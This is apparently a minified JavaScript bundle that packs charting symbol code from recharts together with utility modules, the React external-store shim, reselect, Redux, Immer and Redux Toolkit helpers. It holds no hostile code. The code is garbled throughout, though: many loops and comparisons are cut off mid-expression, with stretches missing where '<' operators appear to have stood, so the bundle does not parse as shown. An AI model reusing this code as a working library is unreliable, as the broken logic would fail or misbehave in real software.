C5[t]||cx},W_=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*B_;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},U_=(e,t)=>{C5["symbol".concat(Io(e))]=t},P5=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=R_(e,M_),a=Ig(Ig({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var m=F_(o),h=m_().type(m).size(W_(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=a,f=At(a);return ue(u)&&ue(d)&&ue(n)?p.createElement("path",xm({},f,{className:Ve("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};P5.registerSymbol=U_;var E5=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,dx=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(p.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{sx(i)&&(r[i]=a=>n[i](n,a))}),r},V_=(e,t,n)=>r=>(e(t,n,r),null),H_=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var a=e[i];sx(i)&&typeof a=="function"&&(r||(r={}),r[i]=V_(a,t,n))}),r};function Dg(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function K_(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return a}var A5={},_5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let a=0;a=0}e.isLength=t})(M5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=M5;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(td);var L5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(L5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=td,n=L5;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(T5);var I5={},D5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Qu;function n(r){return function(i){return t.get(i,r)}}e.property=n})(D5);var R5={},px={},$5={},mx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(mx);var hx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(hx);var xx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(xx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=mx,n=hx,r=xx;function i(d,f,m){return typeof m!="function"?i(d,f,()=>{}):a(d,f,function h(x,g,y,v,b,w){const j=m(x,g,y,v,b,w);return j!==void 0?!!j:a(x,g,h,w)},new Map)}function a(d,f,m,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,m,h);case"function":return Object.keys(f).length>0?a(d,{...f},m,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,m,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,m,h);if(f instanceof Map)return l(d,f,m,h);if(f instanceof Set)return u(d,f,m,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(px);var B5={},vx={},F5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(F5);var nd={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(nd);var gx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",a="[object Arguments]",o="[object Symbol]",l="[object Date]",c="[object Map]",u="[object Set]",d="[object Array]",f="[object Function]",m="[object ArrayBuffer]",h="[object Object]",x="[object Error]",g="[object DataView]",y="[object Uint8Array]",v="[object Uint8ClampedArray]",b="[object Uint16Array]",w="[object Uint32Array]",j="[object BigUint64Array]",k="[object Int8Array]",S="[object Int16Array]",N="[object Int32Array]",z="[object BigInt64Array]",O="[object Float32Array]",_="[object Float64Array]";e.argumentsTag=a,e.arrayBufferTag=m,e.arrayTag=d,e.bigInt64ArrayTag=z,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=g,e.dateTag=l,e.errorTag=x,e.float32ArrayTag=O,e.float64ArrayTag=_,e.functionTag=f,e.int16ArrayTag=S,e.int32ArrayTag=N,e.int8ArrayTag=k,e.mapTag=c,e.numberTag=r,e.objectTag=h,e.regexpTag=t,e.setTag=u,e.stringTag=n,e.symbolTag=o,e.uint16ArrayTag=b,e.uint32ArrayTag=w,e.uint8ArrayTag=y,e.uint8ClampedArrayTag=v})(gx);var W5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(W5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=F5,n=nd,r=gx,i=hx,a=W5;function o(d,f){return l(d,void 0,d,new Map,f)}function l(d,f,m,h=new Map,x=void 0){const g=x==null?void 0:x(d,f,m,h);if(g!==void 0)return g;if(i.isPrimitive(d))return d;if(h.has(d))return h.get(d);if(Array.isArray(d)){const y=new Array(d.length);h.set(d,y);for(let v=0;vt.isMatch(a,i)}e.matches=r})(R5);var U5={},V5={},H5={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=vx,n=nd,r=gx;function i(a,o){return t.cloneDeepWith(a,(l,c,u,d)=>{const f=o==null?void 0:o(l,c,u,d);if(f!==void 0)return f;if(typeof a=="object"){if(n.getTag(a)===r.objectTag&&typeof a.constructor!="function"){const m={};return d.set(a,m),t.copyProperties(m,a,u,d),m}switch(Object.prototype.toString.call(a)){case r.numberTag:case r.stringTag:case r.booleanTag:{const m=new a.constructor(a==null?void 0:a.valueOf());return t.copyProperties(m,a),m}case r.argumentsTag:{const m={};return t.copyProperties(m,a),m.length=a.length,m[Symbol.iterator]=a[Symbol.iterator],m}default:return}}})}e.cloneDeepWith=i})(H5);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=H5;function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(V5);var K5={},yx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&r"u"||typeof window.document>"u"||typeof window.document.createElement>"u"?aO:iO;Z5.useSyncExternalStore=Ra.useSyncExternalStore!==void 0?Ra.useSyncExternalStore:sO;X5.exports=Z5;var oO=X5.exports;/** * @license React * use-sync-external-store-shim/with-selector.production.js * * Copyright (c) Meta Platforms, Inc. and affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var rd=p,lO=oO;function cO(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var uO=typeof Object.is=="function"?Object.is:cO,dO=lO.useSyncExternalStore,fO=rd.useRef,pO=rd.useEffect,mO=rd.useMemo,hO=rd.useDebugValue;G5.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=fO(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=mO(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,uO(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=dO(e,a[0],a[1]);return pO(function(){o.hasValue=!0,o.value=l},[l]),hO(l),l};Y5.exports=G5;var xO=Y5.exports,bx=p.createContext(null),vO=e=>e,Qe=()=>{var e=p.useContext(bx);return e?e.store.dispatch:vO},Ql=()=>{},gO=()=>Ql,yO=(e,t)=>e===t;function pe(e){var t=p.useContext(bx),n=p.useMemo(()=>t?r=>{if(r!=null)return e(r)}:Ql,[t,e]);return xO.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:gO,t?t.store.getState:Ql,t?t.store.getState:Ql,n,yO)}function bO(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function wO(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function jO(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var $g=e=>Array.isArray(e)?e:[e];function kO(e){const t=Array.isArray(e[0])?e[0]:e;return jO(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function NO(e,t){const n=[],{length:r}=e;for(let i=0;i{n=gl(),o.resetResultsCount()},o.resultsCount=()=>a,o.resetResultsCount=()=>{a=0},o}function PO(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let a=0,o=0,l,c={},u=i.pop();typeof u=="object"&&(c=u,u=i.pop()),bO(u,`createSelector expects an output function after the inputs, but received: [${typeof u}]`);const d={...n,...c},{memoize:f,memoizeOptions:m=[],argsMemoize:h=Q5,argsMemoizeOptions:x=[]}=d,g=$g(m),y=$g(x),v=kO(i),b=f(function(){return a++,u.apply(null,arguments)},...g),w=h(function(){o++;const k=NO(v,arguments);return l=b.apply(null,k),l},...y);return Object.assign(w,{resultFunc:u,memoizedResultFunc:b,dependencies:v,dependencyRecomputations:()=>o,resetDependencyRecomputations:()=>{o=0},lastResult:()=>l,recomputations:()=>a,resetRecomputations:()=>{a=0},memoize:f,argsMemoize:h})};return Object.assign(r,{withTypes:()=>r}),r}var L=PO(Q5),EO=Object.assign((e,t=L)=>{wO(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(a=>e[a]);return t(r,(...a)=>a.reduce((o,l,c)=>(o[n[c]]=l,o),{}))},{withTypes:()=>EO}),J5={},ek={},tk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,a)=>{if(r!==i){const o=t(r),l=t(i);if(o===l&&o===0){if(ri)return a==="desc"?-1:1}return a==="desc"?l-o:o-l}return 0};e.compareValues=n})(tk);var nk={},wx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(wx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=wx,n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(a,o){return Array.isArray(a)?!1:typeof a=="number"||typeof a=="boolean"||a==null||t.isSymbol(a)?!0:typeof a=="string"&&(r.test(a)||!n.test(a))||o!=null&&Object.hasOwn(o,a)}e.isKey=i})(nk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=tk,n=nk,r=ed;function i(a,o,l,c){if(a==null)return[];l=c?void 0:l,Array.isArray(a)||(a=Object.values(a)),Array.isArray(o)||(o=o==null?[null]:[o]),o.length===0&&(o=[null]),Array.isArray(l)||(l=l==null?[]:[l]),l=l.map(h=>String(h));const u=(h,x)=>{let g=h;for(let y=0;yx==null||h==null?x:typeof h=="object"&&"key"in h?Object.hasOwn(x,h.key)?x[h.key]:u(x,h.path):typeof h=="function"?h(x):Array.isArray(h)?u(x,h):typeof x=="object"?x[h]:x,f=o.map(h=>(Array.isArray(h)&&h.length===1&&(h=h[0]),h==null||typeof h=="function"||Array.isArray(h)||n.isKey(h)?h:{key:h,path:r.toPath(h)}));return a.map(h=>({original:h,criteria:f.map(x=>d(x,h))})).slice().sort((h,x)=>{for(let g=0;gh.original)}e.orderBy=i})(ek);var rk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],a=Math.floor(r),o=(l,c)=>{for(let u=0;u1&&r.isIterateeCall(a,o[0],o[1])?o=[]:l>2&&r.isIterateeCall(o[0],o[1],o[2])&&(o=[o[0]]),t.orderBy(a,n.flatten(o),["asc"])}e.sortBy=i})(J5);var AO=J5.sortBy;const id=jr(AO);var ik=e=>e.legend.settings,_O=e=>e.legend.size,OO=e=>e.legend.payload;L([OO,ik],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?id(r,n):r});var yl=1;function TO(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=p.useState({height:0,left:0,top:0,width:0}),r=p.useCallback(i=>{if(i!=null){var a=i.getBoundingClientRect(),o={height:a.height,left:a.left,top:a.top,width:a.width};(Math.abs(o.height-t.height)>yl||Math.abs(o.left-t.left)>yl||Math.abs(o.top-t.top)>yl||Math.abs(o.width-t.width)>yl)&&n({height:o.height,left:o.left,top:o.top,width:o.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function ht(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var MO=typeof Symbol=="function"&&Symbol.observable||"@@observable",Fg=MO,Rf=()=>Math.random().toString(36).substring(7).split("").join("."),LO={INIT:`@@redux/INIT${Rf()}`,REPLACE:`@@redux/REPLACE${Rf()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${Rf()}`},Ic=LO;function kx(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function ak(e,t,n){if(typeof e!="function")throw new Error(ht(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(ht(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(ht(1));return n(ak)(e,t)}let r=e,i=t,a=new Map,o=a,l=0,c=!1;function u(){o===a&&(o=new Map,a.forEach((y,v)=>{o.set(v,y)}))}function d(){if(c)throw new Error(ht(3));return i}function f(y){if(typeof y!="function")throw new Error(ht(4));if(c)throw new Error(ht(5));let v=!0;u();const b=l++;return o.set(b,y),function(){if(v){if(c)throw new Error(ht(6));v=!1,u(),o.delete(b),a=null}}}function m(y){if(!kx(y))throw new Error(ht(7));if(typeof y.type>"u")throw new Error(ht(8));if(typeof y.type!="string")throw new Error(ht(17));if(c)throw new Error(ht(9));try{c=!0,i=r(i,y)}finally{c=!1}return(a=o).forEach(b=>{b()}),y}function h(y){if(typeof y!="function")throw new Error(ht(10));r=y,m({type:Ic.REPLACE})}function x(){const y=f;return{subscribe(v){if(typeof v!="object"||v===null)throw new Error(ht(11));function b(){const j=v;j.next&&j.next(d())}return b(),{unsubscribe:y(b)}},[Fg](){return this}}}return m({type:Ic.INIT}),{dispatch:m,subscribe:f,getState:d,replaceReducer:h,[Fg]:x}}function IO(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:Ic.INIT})>"u")throw new Error(ht(12));if(typeof n(void 0,{type:Ic.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(ht(13))})}function sk(e){const t=Object.keys(e),n={};for(let a=0;a"u")throw l&&l.type,new Error(ht(14));u[f]=x,c=c||x!==h}return c=c||r.length!==Object.keys(o).length,c?u:o}}function Dc(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function DO(...e){return t=>(n,r)=>{const i=t(n,r);let a=()=>{throw new Error(ht(15))};const o={getState:i.getState,dispatch:(c,...u)=>a(c,...u)},l=e.map(c=>c(o));return a=Dc(...l)(i.dispatch),{...i,dispatch:a}}}function ok(e){return kx(e)&&"type"in e&&typeof e.type=="string"}var lk=Symbol.for("immer-nothing"),Wg=Symbol.for("immer-draftable"),_t=Symbol.for("immer-state");function zn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Gt=Object,$a=Gt.getPrototypeOf,Rc="constructor",ad="prototype",vm="configurable",$c="enumerable",Jl="writable",xo="value",xr=e=>!!e&&!!e[_t];function Mn(e){var t;return e?ck(e)||od(e)||!!e[Wg]||!!((t=e[Rc])!=null&&t[Wg])||ld(e)||cd(e):!1}var RO=Gt[ad][Rc].toString(),Ug=new WeakMap;function ck(e){if(!e||!Nx(e))return!1;const t=$a(e);if(t===null||t===Gt[ad])return!0;const n=Gt.hasOwnProperty.call(t,Rc)&&t[Rc];if(n===Object)return!0;if(!aa(n))return!1;let r=Ug.get(n);return r===void 0&&(r=Function.toString.call(n),Ug.set(n,r)),r===RO}function sd(e,t,n=!0){Do(e)===0?(n?Reflect.ownKeys(e):Gt.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Do(e){const t=e[_t];return t?t.type_:od(e)?1:ld(e)?2:cd(e)?3:0}var Vg=(e,t,n=Do(e))=>n===2?e.has(t):Gt[ad].hasOwnProperty.call(e,t),gm=(e,t,n=Do(e))=>n===2?e.get(t):e[t],Bc=(e,t,n,r=Do(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function $O(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var od=Array.isArray,ld=e=>e instanceof Map,cd=e=>e instanceof Set,Nx=e=>typeof e=="object",aa=e=>typeof e=="function",$f=e=>typeof e=="boolean";function BO(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var rr=e=>e.copy_||e.base_,Sx=e=>e.modified_?e.copy_:e.base_;function ym(e,t){if(ld(e))return new Map(e);if(cd(e))return new Set(e);if(od(e))return Array[ad].slice.call(e);const n=ck(e);if(t===!0||t==="class_only"&&!n){const r=Gt.getOwnPropertyDescriptors(e);delete r[_t];let i=Reflect.ownKeys(r);for(let a=0;a1&&Gt.defineProperties(e,{set:bl,add:bl,clear:bl,delete:bl}),Gt.freeze(e),t&&sd(e,(n,r)=>{zx(r,!0)},!1)),e}function FO(){zn(2)}var bl={[xo]:FO};function ud(e){return e===null||!Nx(e)?!0:Gt.isFrozen(e)}var Fc="MapSet",bm="Patches",Hg="ArrayMethods",uk={};function Vi(e){const t=uk[e];return t||zn(0,e),t}var Kg=e=>!!uk[e],vo,dk=()=>vo,WO=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:Kg(Fc)?Vi(Fc):void 0,arrayMethodsPlugin_:Kg(Hg)?Vi(Hg):void 0});function qg(e,t){t&&(e.patchPlugin_=Vi(bm),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function wm(e){jm(e),e.drafts_.forEach(UO),e.drafts_=null}function jm(e){e===vo&&(vo=e.parent_)}var Yg=e=>vo=WO(vo,e);function UO(e){const t=e[_t];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Gg(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[_t].modified_&&(wm(t),zn(4)),Mn(e)&&(e=Xg(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[_t].base_,e,t)}else e=Xg(t,n);return VO(t,e,!0),wm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==lk?e:void 0}function Xg(e,t){if(ud(t))return t;const n=t[_t];if(!n)return Wc(t,e.handledSet_,e);if(!dd(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);mk(n,e)}return n.copy_}function VO(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&zx(t,n)}function fk(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var dd=(e,t)=>e.scope_===t,HO=[];function pk(e,t,n,r){const i=rr(e),a=e.type_;if(r!==void 0&&gm(i,r,a)===t){Bc(i,r,n,a);return}if(!e.draftLocations_){const l=e.draftLocations_=new Map;sd(i,(c,u)=>{if(xr(u)){const d=l.get(u)||[];d.push(c),l.set(u,d)}})}const o=e.draftLocations_.get(t)??HO;for(const l of o)Bc(i,l,n,a)}function KO(e,t,n){e.callbacks_.push(function(i){var l;const a=t;if(!a||!dd(a,i))return;(l=i.mapSetPlugin_)==null||l.fixSetContents(a);const o=Sx(a);pk(e,a.draft_??a,o,n),mk(a,i)})}function mk(e,t){var r;if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(((r=e.assigned_)==null?void 0:r.size)??0)>0)){const{patchPlugin_:i}=t;if(i){const a=i.getPath(e);a&&i.generatePatches_(e,a,t)}fk(e)}}function qO(e,t,n){const{scope_:r}=e;if(xr(n)){const i=n[_t];dd(i,r)&&i.callbacks_.push(function(){ec(e);const o=Sx(i);pk(e,n,o,t)})}else Mn(n)&&e.callbacks_.push(function(){const a=rr(e);e.type_===3?a.has(n)&&Wc(n,r.handledSet_,r):gm(a,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&Wc(gm(e.copy_,t,e.type_),r.handledSet_,r)})}function Wc(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||xr(e)||t.has(e)||!Mn(e)||ud(e)||(t.add(e),sd(e,(r,i)=>{if(xr(i)){const a=i[_t];if(dd(a,n)){const o=Sx(a);Bc(e,r,o,e.type_),fk(a)}}else Mn(i)&&Wc(i,t,n)})),e}function YO(e,t){const n=od(e),r={type_:n?1:0,scope_:t?t.scope_:dk(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,a=Uc;n&&(i=[r],a=go);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,[l,r]}var Uc={get(e,t){if(t===_t)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=rr(e);if(!Vg(i,t,e.type_))return GO(e,i,t);const a=i[t];if(e.finalized_||!Mn(a)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&BO(t))return a;if(a===Bf(e.base_,t)){ec(e);const o=e.type_===1?+t:t,l=Nm(e.scope_,a,e,o);return e.copy_[o]=l}return a},has(e,t){return t in rr(e)},ownKeys(e){return Reflect.ownKeys(rr(e))},set(e,t,n){const r=hk(rr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=Bf(rr(e),t),a=i==null?void 0:i[_t];if(a&&a.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if($O(n,i)&&(n!==void 0||Vg(e.base_,t,e.type_)))return!0;ec(e),km(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),qO(e,t,n)),!0},deleteProperty(e,t){return ec(e),Bf(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),km(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=rr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[Jl]:!0,[vm]:e.type_!==1||t!=="length",[$c]:r[$c],[xo]:n[t]}},defineProperty(){zn(11)},getPrototypeOf(e){return $a(e.base_)},setPrototypeOf(){zn(12)}},go={};for(let e in Uc){let t=Uc[e];go[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}go.deleteProperty=function(e,t){return go.set.call(this,e,t,void 0)};go.set=function(e,t,n){return Uc.set.call(this,e[0],t,n,e[0])};function Bf(e,t){const n=e[_t];return(n?rr(n):e)[t]}function GO(e,t,n){var i;const r=hk(t,n);return r?xo in r?r[xo]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function hk(e,t){if(!(t in e))return;let n=$a(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=$a(n)}}function km(e){e.modified_||(e.modified_=!0,e.parent_&&km(e.parent_))}function ec(e){e.copy_||(e.assigned_=new Map,e.copy_=ym(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var XO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(aa(n)&&!aa(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}aa(r)||zn(6),i!==void 0&&!aa(i)&&zn(7);let a;if(Mn(n)){const o=Yg(this),l=Nm(o,n,void 0);let c=!0;try{a=r(l),c=!1}finally{c?wm(o):jm(o)}return qg(o,i),Gg(a,o)}else if(!n||!Nx(n)){if(a=r(n),a===void 0&&(a=n),a===lk&&(a=void 0),this.autoFreeze_&&zx(a,!0),i){const o=[],l=[];Vi(bm).generateReplacementPatches_(n,a,{patches_:o,inversePatches_:l}),i(o,l)}return a}else zn(1,n)},this.produceWithPatches=(n,r)=>{if(aa(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,a;return[this.produce(n,r,(l,c)=>{i=l,a=c}),i,a]},$f(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),$f(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),$f(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Mn(t)||zn(8),xr(t)&&(t=_n(t));const n=Yg(this),r=Nm(n,t,void 0);return r[_t].isManual_=!0,jm(n),r}finishDraft(t,n){const r=t&&t[_t];(!r||!r.isManual_)&&zn(9);const{scope_:i}=r;return qg(i,n),Gg(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const a=n[r];if(a.path.length===0&&a.op==="replace"){t=a.value;break}}r>-1&&(n=n.slice(r+1));const i=Vi(bm).applyPatches_;return xr(t)?i(t,n):this.produce(t,a=>i(a,n))}};function Nm(e,t,n,r){const[i,a]=ld(t)?Vi(Fc).proxyMap_(t,n):cd(t)?Vi(Fc).proxySet_(t,n):YO(t,n);return((n==null?void 0:n.scope_)??dk()).drafts_.push(i),a.callbacks_=(n==null?void 0:n.callbacks_)??[],a.key_=r,n&&r!==void 0?KO(n,a,r):a.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(a);const{patchPlugin_:u}=c;a.modified_&&u&&u.generatePatches_(a,[],c)}),i}function _n(e){return xr(e)||zn(10,e),xk(e)}function xk(e){if(!Mn(e)||ud(e))return e;const t=e[_t];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=ym(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=ym(e,!0);return sd(n,(i,a)=>{Bc(n,i,xk(a))},r),t&&(t.finalized_=!1),n}var ZO=new XO,vk=ZO.produce;function gk(e){return({dispatch:n,getState:r})=>i=>a=>typeof a=="function"?a(n,r,e):i(a)}var QO=gk(),JO=gk,e6=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?Dc:Dc.apply(null,arguments)};function vn(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(Qt(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>ok(r)&&r.type===e,n}var yk=class Ts extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Ts.prototype)}static get[Symbol.species](){return Ts}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Ts(...t[0].concat(this)):new Ts(...t.concat(this))}};function Zg(e){return Mn(e)?vk(e,()=>{}):e}function 